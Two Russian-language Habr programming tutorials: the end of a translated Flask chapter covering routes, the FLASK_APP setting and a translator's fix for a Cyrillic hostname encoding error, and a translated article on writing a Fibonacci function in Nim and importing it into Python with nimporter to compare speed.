``` Сценарий выше просто создает объект приложения как экземпляр класса Flask, импортированного из пакета flask. Переменная `__name__`, переданная в класс Flask, является предопределенной переменной Python, которая задается именем модуля, в котором она используется. Flask использует расположение модуля, переданного здесь как отправную точку, когда ему необходимо загрузить связанные ресурсы, такие как файлы шаблонов, которые я расскажу в **главе 2**. Для всех практических целей передача `__name__` почти всегда будет настраивать flask в правильном направлении. Затем приложение импортирует модуль `routes`, который еще не существует. Один из аспектов, который может показаться запутанным вначале, состоит в том, что существуют два объекта с именем *app*. Пакет приложения определяется каталогом приложения и сценарием `__init__.py` и указан в инструкции `routes` импорта приложения. Переменная *app* определяется как экземпляр класса Flask в сценарии `__init__.py`, что делает его частью пакета приложения. Другая особенность заключается в том, что модуль `routes` импортируется внизу, а не наверху скрипта, как это всегда делается. Нижний импорт является обходным путем для циклического импорта, что является общей проблемой при использовании приложений Flask. Вы увидите, что модуль `routes` должен импортировать переменную приложения, определенную в этом скрипте, поэтому, поместив один из взаимных импортов внизу, вы избежите ошибки, которая возникает из взаимных ссылок между этими двумя файлами. Так что же входит в модуль `routes`? `routes` — это разные URL-адреса, которые приложение реализует. В Flask обработчики маршрутов приложений записываются как функции Python, называемые функциями просмотра. Функции просмотра сопоставляются с одним или несколькими URL-адресами маршрутов, поэтому Flask знает, какую логику следует выполнять, когда клиент запрашивает данный URL-адрес. Вот ваша первая функция просмотра, которую вам нужно написать в новом модуле с именем `app/routes.py`: ``` from app import app @app.route('/') @app.route('/index') def index(): return "Hello, World!" ``` Эта функция просмотра на самом деле довольно проста, она просто возвращает приветствие в виде строки. Две странные строки `@app.route` над функцией — декораторы, уникальная особенность языка Python. Декоратор изменяет функцию, которая следует за ней. Общий шаблон с декораторами — использовать их для регистрации функций как обратных вызовов для определенных событий. В этом случае декоратор `@app.route` создает связь между URL-адресом, заданным как аргумент, и функцией. В этом примере есть два декоратора, которые связывают URL-адреса `/` и `/index` с этой функцией. Это означает, что когда веб-браузер запрашивает один из этих двух URL-адресов, Flask будет вызывать эту функцию и передавать возвращаемое значение обратно в браузер в качестве ответа. Если вам кажется, что это еще не имеет смысла, это будет недолго, пока вы запустите это приложение. Чтобы завершить приложение, вам нужно создать сценарий Python на верхнем уровне, определяющий экземпляр приложения Flask. Давайте назовем этот скрипт *microblog.py* и определим его как одну строку, которая импортирует экземпляр приложения: ``` from app import app ``` Помните два объекта `app`? Здесь вы можете видеть оба вместе в одном предложении. Экземпляр приложения Flask называется `app` и входит в пакет *app*. from app import app импортирует переменную `app`, входящую в пакет *app*. Если вы считаете это запутанным, вы можете переименовать либо пакет, либо переменную во что то другое. Чтобы убедиться, что вы все делаете правильно, ниже приведена диаграмма структуры проекта: ``` microblog/ venv/ app/ __init__.py routes.py microblog.py ``` Верьте или нет, но первая версия приложения завершена! Прежде чем запускать его, Flask нужно сообщить, как его импортировать, установив переменную среды `FLASK_APP`: ``` (venv) $ export FLASK_APP=microblog.py ``` Если вы используете Microsoft Windows, используйте команду 'set' вместо 'export' в команде выше. Готовы ли вы быть потрясены? Вы можете запустить свое первое веб-приложение со следующей командой: ``` (venv) $ flask run * Serving Flask app "microblog" * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) ``` ***Прим.переводчика:** Я был потрясен поскольку получил ошибку кодировки. Если у вас версия Python старше 3.6 вас скорее всего ждет сюрприз. Типа:* ``` Syntax Error: (unicode error) 'utf-8' codec can't decode byte 0xcf in position 0: invalid continuation byte: ``` *В моем случае виноваты кириллические символы ПК в имени компьютера. Заменил на PK и все заработало. Виноват модуль socket* ``` (venv) C:\microblog>python Python 3.3.5 (v3.3.5:62cf4e77f785, Mar 9 2014, 10:37:12) [MSC v.1600 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> from socket import gethostbyaddr >>> gethostbyaddr('127.0.0.1') ('Acer-PK', [], ['127.0.0.1']) >>> ``` *Действительно все заработало:* ``` (venv) C:\microblog>set FLASK_APP=microblog.py (venv) C:\microblog>flask run * Serving Flask app "microblog" * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) ``` ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/ca3/239/dde/ca3239dde36652d873aee1315472a64a.png) Что бы написать по русски "Привет, Мир!" потребуется скорректировать модуль *routes.py* Добавить строку `# -*- coding: utf-8 -*-` ``` # -*- coding: utf-8 -*- from app import app @app.route('/') @app.route('/index') def index(): return "Привет, Мир!" ``` ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/ecf/279/f37/ecf279f3796c921f601d668f92a9aaf1.png) Когда вы закончите играть с сервером, вы можете просто нажать Ctrl-C, чтобы остановить его. Поздравляем, вы совершили первый большой шаг, чтобы стать веб-разработчиком! [>>> **следующая глава** >>>](https://habrahabr.ru/post/346340/)
https://habr.com/ru/post/346306/
null
ru
null
# Ускоряем код на Python с помощью Nim > Привет, хабровчане. В преддверии старта курса ["Python Developer. Basic"](https://otus.pw/Hp9j/) подготовили для вас перевод интересной статьи. Также приглашаем на [открытый вебинар «Карьера для "Python Developer. Basic"».](https://otus.pw/dZxF/) > > ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9d1/cd6/97d/9d1cd697d0888062f7a62ed6c4dc5a6d.png) --- Python — один из самых популярных и доступных языков программирования, но далеко не самый быстрый. Многие создатели библиотек и фреймворков прибегали к использованию расширения на С, чтобы их код работал быстрее, чем код на нативном Python. Этот способ вполне рабочий, но если вы не знакомы с С, сборка мусора и управление памятью станут вашим адом на Земле. И тут на сцену выходит Nim. ### Что такое Nim? Nim – статически типизированный, компилируемый, объектно-ориентированный язык программирования. Nim создавался, чтобы быть таким же быстрым как С и таким же выразительным как Python, и к тому же, расширяемым как [Lisp](https://en.wikipedia.org/wiki/Lisp_(programming_language)). Благодаря синтаксическому сходству с Python, Nim станет отличным выбором языка для расширения, если с C вам не по пути. #### Начало работы с Nim Чтобы начать писать на Nim, его нужно установить в свою систему. Скачайте и установите его с сайта nim-lang.org. Как только вы закончите, мы начнем писать свой первый код на Nim. Во-первых, мы создаем файл, я назову его *hello.nim*, а вы можете назвать его как захотите. Теперь мы откроем его в любом текстовом редакторе и напишем: ``` static: echo("Hello, world!") ``` Сохраните и закройте файл, затем откройте терминал из текущей директории и введите: ``` nim compile hello.nim ``` И вуаля! В консоль выведется «Hello, World!». После получения первого представления о Nim перейдем к основной теме статьи. #### Встраиваем Nim в приложения на Python Nim поставляется с модулем `nimpy` и `nimporter`, которые доступны для Python. Последний можно установить с помощью `pip install nimporter`. Эти два пакета будут иметь важное значение при совместной работе двух языков. Чтобы продемонстрировать возможности Nim, мы создадим простой тест, который будет сравнивать скорость работы обоих языков, на примере функции находящей n-ое число последовательности Фибоначчи. Давайте создадим папку под названием Benchmark с 3 файлами внутри:  * `main.py` — файл, который мы будем запускать * `nmath.nim` — файл с версией функции `fib` на Nim * `pmath.py` — файл с версией функции `fib` на Python Сначала напишем функцию fib на Python: ``` def fib(n): if n == 0: return 0 elif n < 3: return 1 return fib(n - 1) + fib(n - 2) ``` А теперь переместимся в `nmath.nim`. Для начала нам нужно импортировать `nimpy`: ``` import nimpy ``` Прямо как в Python, не так ли? А теперь сама функция: ``` import nimpy proc fib(n: int): int {.exportpy.} = if n == 0: return 0 elif n < 3: return 1 return fib(n-1) + fib(n-2) ``` #### Давайте разберемся Мы определяем функцию `fib` с помощью ключевого слова `proc`. Дальше указываем тип возвращаемого значения как целочисленный, а (вау, что это такое?) `{.exportpy.}` сигнализирует Nim, что эта функция предназначена для использования в другом модуле Python. В остальном все также, как в Python. #### Тестирование на время В *main.py* создадим простой бенчмарк: ``` import nimporter from time import perf_counter import nmath # Nim imports! import pmath print('Measuring Python...') start_py = perf_counter() for i in range(0, 40): print(pmath.fib(i)) end_py = perf_counter() print('Measuring Nim...') start_nim = perf_counter() for i in range(0, 40): print(nmath.fib(i)) end_nim = perf_counter() print('---------') print('Python Elapsed: {:.2f}'.format(end_py - start_py)) print('Nim Elapsed: {:.2f}'.format(end_nim - start_nim)) ``` #### Вот и все! Пакет `nimporter` позволяет импортировать Nim в обычные модули Python, которые будут использоваться также, как и собственные. Круто, не правда ли? Чтобы запустить код, просто введите `python main.py` в командную строку и смотрите, что будет! ``` Python Elapsed: 33.60 Nim Elapsed: 1.05 ``` ### Заключение Вот и все, что нужно сделать, чтобы быстро встроить Nim в Python. Nim оказался примерно в 30 раз быстрее, но имейте ввиду, что разница в скорости может варьироваться в зависимости от выполняемой задачи. Чтобы узнать больше о Nim, рекомендую ознакомиться с [официальной документацией](https://nim-lang.org/documentation.html) и почитать про него в [Википедии](https://en.wikipedia.org/wiki/Nim_(programming_language)). Что ж, на этом я закончу свой туториал! Спасибо, что дотерпели до конца. Надеюсь, эта статья окажется для вас полезной. --- > [Узнать подробнее о курсе](https://otus.pw/Hp9j/) "Python Developer. Basic". > > [Смотреть запись открытого demo-урока](https://otus.pw/DCLk/) «Три кита: map(), filter() и zip()». > >
https://habr.com/ru/post/543332/
null
ru
null